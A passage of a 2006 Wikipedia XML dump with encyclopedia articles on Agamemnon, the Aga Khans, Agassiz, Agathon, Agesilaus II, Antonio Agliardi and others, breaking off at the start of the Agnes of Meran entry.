[[Image:The Return Of Agamemnon - Project Gutenberg eText 14994.png|thumbnail|right|300px|The return of Agamemnon, from an [[1879]] illustration from ''Stories from the Greek Tragedians'' by [[Alfred Church]].]]

[[Image:The Murder Of Agamemnon - Project Gutenberg eText 14994.png|thumbnail|right|300px|The murder of Agamemnon, from an 1879 illustration from ''Stories from the Greek Tragedians'' by Alfred Church]]

After a stormy voyage, Agamemnon and Cassandra landed in [[Argolis]] or were blown off course and landed in Aegisthus' country. Aegisthus, who in the interval had seduced Clytemnestra, invited him to a banquet at which he was treacherously slain. According to the account given by [[Pindar]] and the tragedians, Agamemnon was slain by his wife alone in a bath, a piece of cloth or a net having first been thrown over him to prevent resistance.  Clytemnestra also killed Cassandra. Her wrath at the sacrifice of Iphigenia, and her jealousy of Cassandra, are said to have been the motives of her crime. Aegisthus and Clytemnestra then ruled Agamemnon's kingdom for a time, but the murder of Agamemnon was eventually avenged by his son [[Orestes (mythology)|Orestes]] (possibly with the help of Electra).
69

==Other stories==
[[Athenaeus]] tells a story of [[Argynnus]], an [[eromenos]] of Agamemnon: &quot;Agamemnon loved Argynnus, so the story goes, having seen him swimming in the [[Cephisus]] river; in which, in fact, he lost his life (for he constantly bathed in this river), and Agamemnon buried him and founded there a temple of [[Aphrodite]] Argynnis.&quot; (The Deipnosophists of Athenaeus of Naucratis; Book XIII Concerning Women, p.3) This episode is also found in [[Clement of Alexandria]] (Protrepticus II.38.2) and in [[Stephen of Byzantium]] ''(Kopai'' and ''Argunnos),'' with minor variations.
 
The fortunes of Agamemnon have formed the subject of numerous [[tragedy|tragedies]], ancient and modern, the most famous being the [[Oresteia]] of [[Aeschylus]]. In the legends of the [[Peloponnesus]], Agamemnon was regarded as the highest type of a powerful monarch, and in [[Sparta]] he was worshipped under the title of ''Zeus Agamemnon''. His tomb was pointed out among the ruins of [[Mycenae]] and at [[Amyclae]].

Another account makes him the son of [[Pleisthenes]] (the son or father of [[Atreus]]), who is said to have been Aerope's first husband.  

In works of art there is considerable resemblance between the representations of [[Zeus]], king of the gods, and Agamemnon, king of men. He is generally characterized by the [[sceptre]] and [[diadem]], the usual attributes of kings.

==Agamemnon in modern fiction and film==
Modern writers of time travel and historical novels often attempt to show the Trojan War &quot;as it really happened&quot;, based on the archeological evidence of [[Mycenaean]] civilization. Such authors frequently use Agamemnon as the archetypical Mycenaean king, bringing life to old artifacts by dressing a familiar face in them. Of particular interest is [[S. M. Stirling]]'s time-travel trilogy ''[[Island in the Sea of Time]]'', ''[[Against the Tide of Years]]'' and ''[[On the Oceans of Eternity]]'', where the fate that befalls the House of Atreus is every bit as horrific as that portrayed in traditional myth. The horror is arranged by a time-travelling villain who is very well aware of the mythology. 

Agamemnon is also said to have been the ancient [[ancestor]] or relative of the [[nobility|noble]] [[family]] the [[Atreides]] of the [[classic]] [[science fiction]]  series ''[[Dune (novel)|Dune]]'' by [[Frank Herbert]] (Note that the surname, [[Atreides]] is derived from Agamemnon's father's name, ''[[Atreus]]''). There are many [[parallels]] with the story of Agamemnon and in Dune, such as with the [[protagonist]] [[Paul Atreides]] in that both are [[Tragic hero|tragic heroes]]. 

Agamemnon makes an appearance in the film ''[[Time Bandits]]'', played by [[Sean Connery]], although his depiction in the film seems more reminiscent of [[Odysseus]].

He also appeared in the 2004 film ''[[Troy (movie)|Troy]]'', played by [[Scotland|Scottish]] actor [[Brian Cox]].

Agamemnon was the name of the Earth fleet Destroyer that John Sheridan commanded near the end of season 4 of Babylon 5.

{{1911}}

== References ==
* [[Homer]], ''[[Iliad]]''; 
* [[Homer]], ''[[Odyssey]]'' I, 28-31; XI, 385-464;
* [[Aeschylus]], ''[[Agamemnon (play)]][http://www.mala.bc.ca/~johnstoi/aeschylus/aeschylus_agamemnon.htm]''; 
* [[Aeschylus]], ''[[The Libation Bearers]]'';
* [[Sophocles]], ''[[Electra]]'';
* [[Euripides]], ''[[Electra]]'';
*[[Apollodorus]], ''[[Epitome]]'', II, 15-III, 22; VI, 23.
Troy movie 2004 Directed by [[Wolfgang Petersen]]
[[Category:People who fought in the Trojan War]]
[[Category:Mythological kings]]
[[Category:Pederastic heroes and deities]]

[[da:Agamemnon]]
[[de:Agamemnon]]
[[es:Agamenón]]
[[fr:Agamemnon]]
[[gl:Agamenón]]
[[ko:아가멤논]]
[[it:Agamennone]]
[[he:אגממנון]]
[[la:Agamemnon]]
[[lt:Agamemnonas]]
[[lb:Agamemnon]]
[[hu:Agamemnón]]
[[nl:Agamemnon]]
[[ja:アガメムノン]]
[[pl:Agamemnon]]
[[pt:Agamemnon]]
[[ro:Agamemnon]]
[[ru:Агамемнон]]
[[sr:Агамемнон]]
[[fi:Agamemnon]]
[[sv:Agamemnon]]
[[zh:阿伽门农]]</text>
    </revision>
  </page>
  <page>
    <title>Aga Khan I</title>
    <id>1545</id>
    <revision>
      <id>37477615</id>
      <timestamp>2006-01-31T05:50:59Z</timestamp>
      <contributor>
        <username>Wilis.azm</username>
        <id>843798</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Aga Khan I''' ({{lang-ar|أغا خان}})

([[1800]]-[[1881]]), was the title accorded by general consent to '''Hasan Ali Shah''' (born in [[Iran|Persia]], [[1800]]), when, in early life, he first settled in [[Bombay]] under the protection of the [[United Kingdom|British]] government. He was believed to have descended in direct line from [[Ali Ben Abu Talib|Ali]] by his wife [[Fatima Zahra]], the daughter of the Prophet [[Muhammad]]. Ali's son, Husain, having married a daughter of one of the rulers of Persia before the time of Muhammad, the Aga Khan traced his descent from the royal house of [[Iran|Persia]]  from the most remote, almost prehistoric, times. His ancestors had also ruled in [[Egypt]] as ''[[caliphs]]'' of the [[Fatimids|Fatimid]] dynasty for a number of years, at the same time as the [[Crusade|Crusades]].

Before the Aga Khan emigrated from Persia, he was appointed by the emperor [[Fateh Ali Shah]] to be [[governor-general]] of the extensive and important province of [[Kerman]]. His rule was noted for firmness, moderation and high political sagacity, and he succeeded for a long time in retaining the friendship and confidence of his master the Shah, although his career was beset with political intrigues and jealousy on the part of rival and court favourites, and with internal turbulence. At last, however, the fate usual to statesmen in oriental countries overtook him, and he incurred the mortal displeasure of Fateh. He fled from Persia and sought protection in British territory, preferring to settle down eventually in [[India]], making Bombay his headquarters. At that period the [[First Anglo-Afghan War]] was at its height, and in crossing over from Persia through [[Afghanistan]] the Aga Khan found opportunities of rendering valuable services to the British army, and thus cast in his lot forever with the British. A few years later he rendered similar conspicuous services in the course of the [[Sindh]] campaign, when his help was utilized by [[Charles James Napier]] in the process of subduing the frontier tribes, a large number of whom acknowledged the Aga's authority as their spiritual head. Napier held his Muslim ally in great esteem, and entertained a very high opinion of his political acumen and chivalry as a leader and soldier. The Aga Khan reciprocated the British commander's confidence and friendship by giving repeated proofs of his devotion and attachment to the British government, and when he finally settled down in India, his position as the leader of the large [[Ismailis|Ismaili]] section of Muslim British subjects was recognized by the government, and the title of His Highness was conferred on him, with a large pension.  

From that time until his death in 1881 the Aga Khan, while leading the life of a peaceful and peacemaking citizen, under the protection of British rule, continued to discharge his sacerdotal functions, not only among his followers in India, but towards the more numerous communities which acknowledged his religious sway in distant countries, such as Afghanistan, [[Khorasan]], Persia, [[Arabia]], [[Central Asia]], and even distant [[Syria]] and [[Morocco]]. He remained throughout unflinchingly loyal to the [[British Raj]], and by his vast and unquestioned influence among the frontier tribes on the northern borders of India he exercised a control over their unruly passions in times of trouble, which proved of invaluable service in the several expeditions led by British arms on the northwest frontier of India. He was also the means of checking the fanaticism of the more turbulent Muslims in British India, which in times of internal troubles and misunderstandings finds vent in the shape of religious or political riots. 

He was succeeded by his eldest son, '''[[Aga Khan II]]'''. This prince continued the traditions and work of his father in a manner that won the approbation of the local government, and earned for him the distinction of a knighthood of the [[Order of the Indian Empire]] and a seat in the legislative council of Bombay. 

== See also ==
*[[Aga Khan III]]
*[[Aga Khan IV]]
*[[Shi'a Islam]]

==References==
*{{1911}}

[[Category:Shia Imams]]
[[Category:1800 births|Aga Khan I]]
[[Category:1881 deaths|Aga Khan I]]
[[zh:阿迦汗一世]]</text>
    </revision>
  </page>
  <page>
    <title>Aga Khan III</title>
    <id>1546</id>
    <revision>
      <id>38039226</id>
      <timestamp>2006-02-03T19:46:54Z</timestamp>
      <contributor>
        <username>Pizzadeliveryboy</username>
        <id>760611</id>
      </contributor>
      <minor />
      <comment>typo</comment>
      <text xml:space="preserve">[[image:Aga Khan III.jpg|thumb|200px|right|[[Aga Khan]] III, founder of the Muslim League]] 

'''Aga Khan III''' ([[Arabic language|Arabic]]: آغا خان الثالث), [[Imperial Privy Council|PC]] ([[November 2]], [[1877]] &amp;ndash; [[July 11]], [[1957]]), also known as '''Sultan Mahommed Shah''' ([[Arabic language|Arabic]]: سلطان محمد شاه), was born in [[Karachi]] (then [[India]], now [[Pakistan]]) and was the only son of [[Aga Khan II]], and succeeded him on his death in [[1885]], becoming the head of the family.  Under the care of his mother, a daughter of the ruling house of [[Iran|Persia]], he was given not only that religious and oriental education which his position as the religious leader of the [[Ismailis]] made indispensable, but a sound [[Europe]]an training, a boon denied to his father and grandfather.  This blending of the two systems of education produced the happy result of fitting this [[Muslim]] chief in an eminent degree both for the sacerdotal functions which appertain to his spiritual position, and for those social duties required of a great and enlightened leader which he was called upon to discharge by virtue of his position. 

The Aga Khan travelled in distant parts of the world to receive the homage of his followers, and with the object either of settling differences or of advancing their welfare by pecuniary help and personal advice and guidance.  The distinction of a [[Order of the Indian Empire|Knight Commander of the Indian Empire]] was conferred upon him by [[Victoria of the United Kingdom|Queen Victoria]] in 1897 (and later Knight Grand Commander in [[1902]] by [[Edward VII of the United Kingdom|Edward VII]]) and he received like recognition for his public services from the German emperor, the sultan of Turkey, the shah of [[Iran|Persia]] and other potentates. In [[1934]] he was made a member of the [[Privy Council of the United Kingdom|Privy Council]].
The Aga Khan was also a founding member and President of the &quot;All India Muslim League,&quot; which advocated the division of United India in to Pakistan and India.

He was also an owner of thoroughbred racing horses, including five winners of the [[Epsom Derby]]. 

Bypassing his son [[Aly Khan]], he was succeeded by his grandson [[Aga Khan IV]]

*He married, in 1893, Shahazda Begum.
*He married, in 1903, Teresa Magliano.
*He married, in 1929, Andrée Joséphine Carron.
*He married, in 1944, Yvette Blanche Labrousse, elected &quot;Miss Lyon 1929&quot;, then &quot;Miss France 1930&quot;, named Om Habibah September 10, 1944,  and later called HH Begum Mata Salamat (Mother of the Peace)  

==See also==
* [[Aga Khan I]] &amp;mdash; [[Fatimids]]
* [[Aga Khan Palace]]

==Additional reading==
*Naoroji M. Dumasia, ''A Brief History of the Aga Khan'' (1903).

[[Category:Shia Imams]]
[[Category:1877 births]]
[[Category:1957 deaths]]
[[Category:British racehorse owners &amp; breeders]]
[[Category:Knights Grand Commander of the Indian Empire]]
[[Category:Knights Grand Commander of the Star of India]]
[[Category:Ismailism]]

[[fr:Aga Khan III]]
[[ja:アーガー・ハーン3世]]
[[zh:阿迦汗三世]]</text>
    </revision>
  </page>
  <page>
    <title>Agasias</title>
    <id>1547</id>
    <revision>
      <id>39189942</id>
      <timestamp>2006-02-11T09:36:10Z</timestamp>
      <contributor>
        <username>MaxSem</username>
        <id>590476</id>
      </contributor>
      <minor />
      <comment>+ru:</comment>
      <text xml:space="preserve">'''Agasias''' was the name of two different [[Hellenic civilization|Greek]] [[Sculpture|sculptor]]s.

'''Agasias, son of Dositheus''', signed the remarkable statue called the [[Borghese Warrior]], in the [[Louvre]].

'''Agasias, son of Menophilus''', is the author of another striking figure of a warrior in the museum of [[Athens]].

Both belonged to the school of [[Ephesus]] and flourished approximately [[100 BC]]. 

==References==
*{{1911}}

[[Category:Ancient Greek sculptors]]

[[es:Agasio de Éfeso]]
[[it:Agasias]]
[[fi:Agasias]]
[[ru:Агасий]]</text>
    </revision>
  </page>
  <page>
    <title>Alexander Emanuel Agassiz</title>
    <id>1548</id>
    <revision>
      <id>36366879</id>
      <timestamp>2006-01-23T15:40:16Z</timestamp>
      <contributor>
        <username>Mrfish33</username>
        <id>691583</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Alexander Agassiz pers0118.jpg|thumb|right|Alexander Agassiz]]

'''Alexander Emanuel Agassiz''' ([[December 17]], [[1835]] &amp;ndash; [[March 27]], [[1910]]), son of [[Louis Agassiz]], was an [[United States|American]] scientist and engineer.

He was born in [[Neuchâtel]], [[Switzerland]] and emigrated to the [[United States]] with his father in [[1849]]. He graduated at [[Harvard]] in [[1855]], subsequently studying [[engineering]] and [[chemistry]], and taking the degree of [[bachelor of science]] at the [[Lawrence scientific school]] of the same institution in [[1857]]; and in [[1859]] became an assistant in the [[United States Coast Survey]].

Thenceforward he became a specialist in marine [[ichthyology]], but devoted much time to the investigation, superintendence and exploitation of [[mining|mine]]s. 
[[E. J. Hulbert]], a friend of Agassiz's brother-in-law, [[Quincy Adams Shaw]], had discovered a rich copper lode known as the [[Calumet conglomerate]] on the [[Keweenaw Peninsula]] [[Lake Superior]] in [[Michigan]]. He persuaded them, along with a group of friends, to purchase a controlling interest in the mines, which later became known as the [[Calumet &amp; Hecla Mining Company]] based in [[Calumet, Michigan]]. Up until the summer of [[1866]], Agassiz worked as an assistant in the museum of natural history that his father founded at Harvard. That summer, he took a trip to see the mines for himself and he afterwards became treasurer of the enterprise. 

Over the winter of 1866 and early [[1867]], mining operations began to falter due to the difficulty of extracting copper from the conglomerate. Hulbert had sold his interests in the mines and had moved on to other ventures. But Agassiz refused to give up hope for the mines, and he returned to the mines in March of 1867 with his wife and young son. At that time, Keweenaw Peninsula was a remote settlement, virtually inaccessible during the winter and very far removed from civilization even during the summer. With insufficient supplies at the mines, Agassiz struggled to maintain order, while back in Boston, Shaw was saddled with debt and the collapse of their interests. Shaw obtained financial assistance from John Simpkins, the selling agent for the enterprise to continue operations. 

Agassiz continued to live at Calumet, making gradual progess in stablizing the mining operations, such that he was able to leave the mines under the control of a general manager and return to Boston in [[1868]] before winter closed navigation.

The mines continued to prosper and in May, [[1871]], several mines were consolidated to form the Calumet &amp; Hecla Mining Company with Shaw as its first president. In August, 1871, Shaw &quot;retired&quot; to the board of directors and Agassiz became president, a position he held until his death.

Agassiz was a major factor in the mine's continued success and visited the mines twice a year. He innovated by installing a giant engine, known as the Superior, which was able to lift 24 tons of rock from a depth of 4,000 feet. He also built a railroad and dredged a channel to navigable waters. However, after a time the mines did not require his full-time year-round attention and he returned to his interests in natural history at Harvard.

Out of his copper fortune, he gave some $500,000 to Harvard for the museum of comparative [[zoology]] and other purposes.

In [[1875]] he surveyed [[Lake Titicaca]], [[Peru]], examined the [[copper]] mines of Peru and [[Chile]], and made a collection of Peruvian antiquities for the [[Museum of Comparative Zoology]], of which he was [[curator]] from [[1874]] to [[1885]].  He assisted [[Charles Wyville Thomson]] in the examination and classification of the collections of the ''[[Space Shuttle Challenger|Challenger]]'' exploring expedition, and wrote the ''Review of the Echini'' (2 vols., 1872&amp;ndash;1874) in the reports.

Between [[1877]] and [[1880]] he took part in the three [[dredging]] expeditions of the steamer ''Blake'' of the Coast Survey, and presented a full account of them in two volumes ([[1888]]).

Of his other writings on marine zoology, most are contained in the bulletins and memoirs of the museum of comparative zoology; but he published in [[1865]] (with [[Elizabeth Cary Agassiz]], his step-mother) ''Seaside Studies in Natural History'', a work at once exact and stimulating, and in [[1871]] ''Marine Animals of [[Massachusetts]] Bay''.

He served as a president of the [[National Academy of Sciences]].

He died in [[1910]] onboard the [[SS Adriatic|SS ''Adriatic'']].

== Works ==

* (with [[Elizabeth Cary Agassiz]]) ''Seaside Studies in Natural History'' ([[1865]])
* ''North American Acalephs'', (1865)  
* ''[[Marine Animals of Massachusetts|Marine Animals of Massachusetts Bay]]'' ([[1871]])
* ''Revision of the Echini'' (2 vols., [[1872]]&amp;ndash;[[1874]])  
* ''North American Starfishes'', ([[1877]])  
* ''Report on the Echini of the Challenger Expedition'', ([[1881]])  
* ''Explorations of Lake Titicaca''
* ''List of the Echinoderms''
* ''Three Cruises of the ''Blake ([[1888]])
* ''Pacific Coral Reefs''
* ''Coral Reefs of the Maldives''
* ''Panamic Deep Sea Echini''

[[Category:1835 births|Agassiz, Alexander Emanuel]]
[[Category:1910 deaths|Agassiz, Alexander Emanuel]]
[[Category:American zoologists|Agassiz, Alexander Emanuel]]
[[Category:History of Michigan|Agassiz, Alexander Emanuel]]
[[Category:Ichthyologists|Agassiz, Alexander Emanuel]]</text>
    </revision>
  </page>
  <page>
    <title>Agathon</title>
    <id>1549</id>
    <revision>
      <id>33292451</id>
      <timestamp>2005-12-30T20:52:09Z</timestamp>
      <contributor>
        <username>Ravenous</username>
        <id>296838</id>
      </contributor>
      <minor />
      <comment>linked to Thesmophoriazusae</comment>
      <text xml:space="preserve">'''Agathon''' (c. [[448 BCE|448]]-[[400 BCE|400 BCE]]) was an Athenian tragic poet and friend of [[Euripides]] and [[Plato]].  He is best known from his mention by [[Aristophanes]] in his ''[[Thesmophoriazusae]]'' and in Plato's ''[[Symposium (Plato)|Symposium]],'' which describes the banquet given to celebrate his obtaining a prize for his first tragedy ([[416 BCE|416]]).  He was the long time (10-15 years) beloved of Pausanias, also mentioned in the ''[[Symposium (Plato)|Symposium]]'' and ''[[Protagoras (Plato)|Protagoras]]''.  Pausanias followed Agathon to  the court of [[Archelaus I of Macedon|Archelaus]], king of [[Macedon]], who was recruiting playwrights.  This is where Agathon probably died.  He introduced certain innovations, and [[Aristotle]] (''Poetica,'' 9) tells us that the plot of his ''Antho'' was 
original, not, as usually, borrowed from mythological subjects. 

He is introduced, by Plato, as a handsome young man, well dressed, of polished manners, courted by the fashion, wealth and wisdom of [[Athens]], and dispensing hospitality with ease and refinement. The [[Epideixis]], in praise of love, which he recites in the Symposium, is full of the artificial and rhetorical expressions which might be expected from a former pupil of [[Gorgias]]. Aristotle tells us that he was the first to introduce into the drama arbitrary choral songs, which had nothing to do with the subject, and that he wrote pieces with fictitious names, which appear to have been half way between the idyl and comedy. His intimacy with Aristophanes doubtless saved him from many well-deserved strictures, though in one of his comedies, the latter burlesques his flowery style, representing him as a delicate and effeminate youth, and it may be only for the sake of punning on his name that he makes Dionysus call him a noble poet.

Agathon was a friend of [[Euripides]], accompanying him to the court of Archelaus of Macedon, where he died about 402 BCE. He had all the faults, without the genius, of his famous contemporary, and these he carried to excess, attempting to surprise the spectators with unexpected developments and strange, improbable dénouments. Add to this his fondness for [[epigram]], antitheses and other rhetorical embellishments, after the fashion of Gorgias, and no wonder that whatever he possessed of ability was smothered beneath his mannerisms. Yet, of the latter, he appears to have been proud, considering them essential to his verse; for when asked to purge himself of such blemishes, he replied: &quot;You do not see that that would be to purge Agathon's play of Agathon.&quot; His poetry was full of trope, inflection and metaphor; glittering with sparkling ideas and flowing softly along, with harmonious words and nice construction, but lacking in the element of truly virile expression and deficient in manly thought and vigor. With him begins the decline of tragic art in its higher sense.

See: Aristophanes, ''Thesmoph.'' 59, 106, ''Eccles.'' 100

==References==

*''The Drama: Its History, Literature and Influence on Civilization'', volume 1, by [[Alfred Bates]]. ([[London]]: [[Historical Publishing Company]], [[1906]])

[[Category:Ancient Athenians]]
[[Category:Ancient Greek dramatists and playwrights]]

[[de:Agathon von Athen]]
[[fr:Agathon (poète)]]
[[hu:Agathón]]
[[pl:Agaton (tragediopisarz)]]</text>
    </revision>
  </page>
  <page>
    <title>Agesilaus II</title>
    <id>1550</id>
    <revision>
      <id>39538651</id>
      <timestamp>2006-02-14T04:04:06Z</timestamp>
      <contributor>
        <username>Akendall</username>
        <id>764469</id>
      </contributor>
      <comment>{{Plutarch's lives}}</comment>
      <text xml:space="preserve">'''Agesilaus II''', or '''Agesilaos II''' ([[Greek language|Greek]] '''Ἀγησιλάος'''),  king of [[Sparta]], of the [[Eurypontid]] family, was the son of [[Archidamus II]] and Eupolia, and younger step-brother of [[Agis II]], whom he succeeded about [[401 BC]]. Agis had, indeed, a son [[Leotychides]], but he was set aside as illegitimate, current rumour representing him as the son of [[Alcibiades]].  Agesilaus' success was largely due to [[Lysander]], who hoped to find in him a willing tool for the furtherance of his political designs; in this hope, however, Lysander was disappointed, and the increasing power of Agesilaus soon led to his downfall.

In [[396 BC]] Agesilaus was sent to Asia with a force of 2000 Neodamodes (enfranchized Helots) and 6000 allies to secure the [[Ancient Greece|Greek]] cities against a [[Persian Empire|Persian]] attack.  On the eve of sailing from [[Aulis]] he attempted to offer a sacrifice, as [[Agamemnon]] had done before the [[Troy|Trojan]] expedition, but the [[Thebes, Greece|Thebans]] intervened to prevent it, an insult for which he never forgave them. On his arrival at [[Ephesus]] a three months' truce was concluded with [[Tissaphernes]], the [[satrap]] of [[Lydia]] and [[Caria]], but negotiations conducted during that time proved fruitless, and on its termination Agesilaus raided [[Phrygia]], where he easily won immense booty since [[Tissaphernes]] had concentrated his troops in Caria.  After spending the winter in organizing a [[cavalry]] force, he made a successful incursion into [[Lydia]] in the spring of [[395 BC]]. [[Tithraustes]] was thereupon sent to replace Tissaphernes, who paid with his life for his continued failure.  An armistice was concluded between Tithraustes and Agesilaus, who left the southern satrapy and again invaded [[Phrygia]], which he ravaged until the following spring.  He then came to an agreement with the satrap [[Pharnabazus]] and once more turned southward.

It was said that he was planning a campaign in the interior, or even an attack on [[Artaxerxes II of Persia|Artaxerxes II]] himself, when he was recalled to [[Greece]] owing to the war between Sparta and the combined forces of [[Athens]], [[Thebes, Greece|Thebes]], [[Corinth, Greece|Corinth]], [[Argos]] and several minor states.  A rapid march through [[Thrace]] and [[Macedon]]ia brought him to [[Thessaly]], where he repulsed the Thessalian cavalry who tried to impede him. Reinforced by [[Phocis|Phocian]] and [[Orchomenus|Orchomenian]] troops and a Spartan army, he met the confederate forces at [[Chaeronea]] in [[Boeotia]], and in a hotly contested battle was 
technically victorious, but the success was a barren one and he had to retire by way of [[Delphi]] to the [[Peloponnese]]. Shortly before this battle the Spartan [[navy]], of which he had received the supreme command, was totally defeated off [[Knidos|Cnidus]] by a powerful Persian fleet under [[Conon]] and [[Pharnabazus]]. 

Subsequently Agesilaus took a prominent part in the [[Corinthian War]], making several successful expeditions into Corinthian territory and capturing [[Lechaeum]] and [[Piraeus]].  The loss, however, of a mora, destroyed by [[Iphicrates]], neutralized these successes, and Agesilaus returned to Sparta.  In [[389 BC]] he conducted a campaign in [[Acarnania]], but 
two years later the [[Peace of Antalcidas]], warmly supported by Agesilaus, put an end to hostilities.  When war broke out afresh with Thebes the king twice invaded [[Boeotia]] 
([[378 BC]], [[377 BC]]), and it was on his advice that [[Cleombrotus]] was ordered to march against Thebes in [[371 BC]]. Cleombrotus was defeated at Leuctra and the Spartan supremacy overthrown.  

In [[370 BC]] Agesilaus tried to restore Spartan prestige by an invasion of [[Mantinea]]n territory, and his prudence and heroism saved Sparta when her enemies, led by [[Epaminondas]], penetrated [[Laconia]] that same year, and again in [[362 BC]] when they all but succeeded in seizing the city by a rapid and unexpected march. The [[battle of Mantinea (362 BC)]], in which Agesilaus took no part, was followed by a general peace: Sparta, however, stood aloof, hoping even yet to recover her supremacy.  In order to gain money for prosecuting the war Agesilaus had supported the revolted [[satrap]]s, and in [[361 BC]] he went to [[Egypt]] at the head of a [[mercenary]] force to aid [[Tachos]] against Persia.  He soon transferred his services to Tachos's cousin and rival [[Nectanebo II]], who, in return for his help, gave him a sum of over 200 talents.  On his way home Agesilaus died at the age of 83, after a reign of some 41 years.

Agesilaus was of small stature and unimpressive appearance, and was somewhat lame from birth. These facts were used as an argument against his succession, an [[oracle]] having warned Sparta against a &quot;lame reign.&quot; He was a successful leader in [[guerrilla warfare]], alert and quick, yet cautious--a man, moreover, whose personal bravery was unquestioned.  As a statesman he won himself both enthusiastic adherents and bitter enemies, but of his patriotism there can be no doubt.  He lived in the most frugal style alike at home and in the field, and though his campaigns were undertaken largely to secure booty, he was content to enrich the state and his friends and to return as poor as he had set forth. The worst trait in his character is his implacable hatred of Thebes, which led directly to the [[battle of Leuctra]] and Sparta's fall from her position of supremacy.

According to [[Plutarch]], he was once asked whether he wanted a memorial erected in his honour.  He replied, “If I have done any noble action, that is a sufficient memorial; if I have done nothing noble, all the statues in the world will not preserve my memory.”  (In [[Ancient Greek|Greek]]: Εἰ γὰρ τι καλὸν ἔργον πεποίηκα, τοῦτο μνημεῖον ἐστίν; εἰ δὲ μηδὲν, οὐδ' οἱ πάντες ἀνδριάντες.)

His daughter [[Cynisca]] became the only woman in ancient history to win at the [[ancient Olympic Games|Olympic Games]].

Quote
- Do not go after any man with nothing left to lose, for he will come back at you with the strength of 10 men.

== External links ==
* Biography: [http://www.gottwein.de/Lat/nepos/ages01.php Cornelis Nepos (latin - german)]
* [http://www.livius.org/ag-ai/agesilaus/agesilaus.htm Agesilaus] from [http://www.livius.org Livius.Org]

{{Plutarch's lives}}
[[Category:360 BC deaths]]
[[Category:Pederastic lovers]]
[[Category:Rulers of Sparta]]
[[Category:Ancient Greek generals]]

[[de:Agesilaos II.]]
[[fr:Agésilas II]]
[[he:אגסילאוס]]
[[nl:Agesilaüs II]]
[[no:Agesilaus II]]
[[pl:Agesilaos II]]
[[fi:Agesilaos]]
[[zh:阿格西莱二世]]</text>
    </revision>
  </page>
  <page>
    <title>Agis</title>
    <id>1551</id>
    <revision>
      <id>18706747</id>
      <timestamp>2005-07-12T23:26:47Z</timestamp>
      <contributor>
        <username>BDAbramson</username>
        <id>196446</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''Agis''' may refer to:
* [[Agis I]]---a [[Sparta|Spartan]] King.
* [[Agis II]]---a [[Sparta|Spartan]] King.
* [[Agis III]]---a [[Sparta|Spartan]] King.
* [[Agis IV]]---a [[Sparta|Spartan]] King. [[Plutarch]] included a chapter on him in his [[Parallel Lives]].
*'''Agis'''---a [[Paionian]] king of the pre-Hellenistic era.
*'''Agis'''---an ancient [[Ancient Greece|Greek]] author.
{{disambig}}
[[nl:Agis]]
[[pl:Agis]]</text>
    </revision>
  </page>
  <page>
    <title>Antonio Agliardi</title>
    <id>1552</id>
    <revision>
      <id>34400910</id>
      <timestamp>2006-01-08T20:27:22Z</timestamp>
      <contributor>
        <username>Drini</username>
        <id>195374</id>
      </contributor>
      <comment>[[WP:AWB|AWB Assisted]] fixing redir</comment>
      <text xml:space="preserve">'''Antonio Cardinal Agliardi''' ([[September 4]], [[1832]] &amp;ndash; [[May 1]], [[1915]]) was a [[Roman Catholic]] [[Cardinal (Catholicism)|Cardinal]], [[archbishop]], and papal diplomat. He was born at  Cologno ([[province of Bergamo|Bergamo]]), [[Italy]].

He studied [[theology]] and [[canon law]], and after acting as parish priest in his native diocese for twelve years was sent by the [[pope]] to [[Canada]] as a [[bishop]]'s [[chaplain]]. On his return he was appointed secretary to the [[Congregation of the Propaganda]].

In [[1884]], he was created by [[Pope Leo XIII|Leo XIII]] [[archbishop of Caesarea]] ''in partibus'' and sent to [[India]] as an [[Apostolic Delegate]] to report on the establishment of the [[hierarchy]] there.

In [[1887]] he again visited India, to carry out the terms of the [[concordat]] arranged with [[Portugal]]. The same year he was appointed secretary to the Congregation ''super negotiis ecclesiae extraordinariis'', in [[1889]] became papal [[nuncio]] at [[Munich]] and in [[1892]] at [[Vienna]]. Allowing himself to be involved in the ecclesiastical disputes by which [[Hungary]] was divided 
in [[1895]], he was made the subject of formal complaint by the Hungarian government and in [[1896]] was recalled.

In the [[consistery]] of 1896 he was elevated to [[Cardinal Priest]] of ''[[Ss. Nereo ed Acheillo]]'''.  In [[1899]] he was made [[Cardinal Bishop]] of [[Albano]]. In [[1903]], he was named vice-chancellor of the Catholic Church, and became the Chancellor of the [[Apostolic Chancery]] in the [[Secretariat of State (Vatican)|Secretariat of State]] in [[1908]].

He died in [[Rome]].

==References==
*{{1911}}
*[http://catholic-hierarchy.org/bishop/bagliardi.html Catholic-Hierarchy.org]


[[Category:1832 births|Agliardi]]
[[Category:1915 deaths|Agliardi]]
[[Category:Diplomats of the Holy See|Agliardi]]
[[Category:Italian cardinals|Agliardi]]
[[Category:Natives of Lombardy|Agliardi]]
[[Category:Roman Catholic archbishops|Agliardi]]

[[de:Antonio Agliardi]]
[[no:Antonio Agliardi]]</text>
    </revision>
  </page>
  <page>
    <title>Agnes of Meran</title>
    <id>1553</id>
    <revision>
      <id>40359124</id>
      <timestamp>2006-02-20T01:16:24Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Agnes Maria of Andechs-Meran''' (d. [[1201]]), queen of [[France]], was the daughter of [[Bertold IV]] (d. [[1251]]), who was independent Count of [[Andechs]], a castle and territory near [[Ammersee]], [[Bavaria]] and  from  [[1183]] duke of [[Meran]] in [[Tirol]], which has derived its name from his castle Tyrol, above the valley of Meran. The count held his fiefs directly from the Emperor, so he was independent of the great territorial dukes of [[Germany]]. Bertold IV was made Archbishop of [[Kalocsa]] (in [[Hungary]]) and in [[1218]] he was made [[Aquileia|Patriarch of Aquileia]]. 

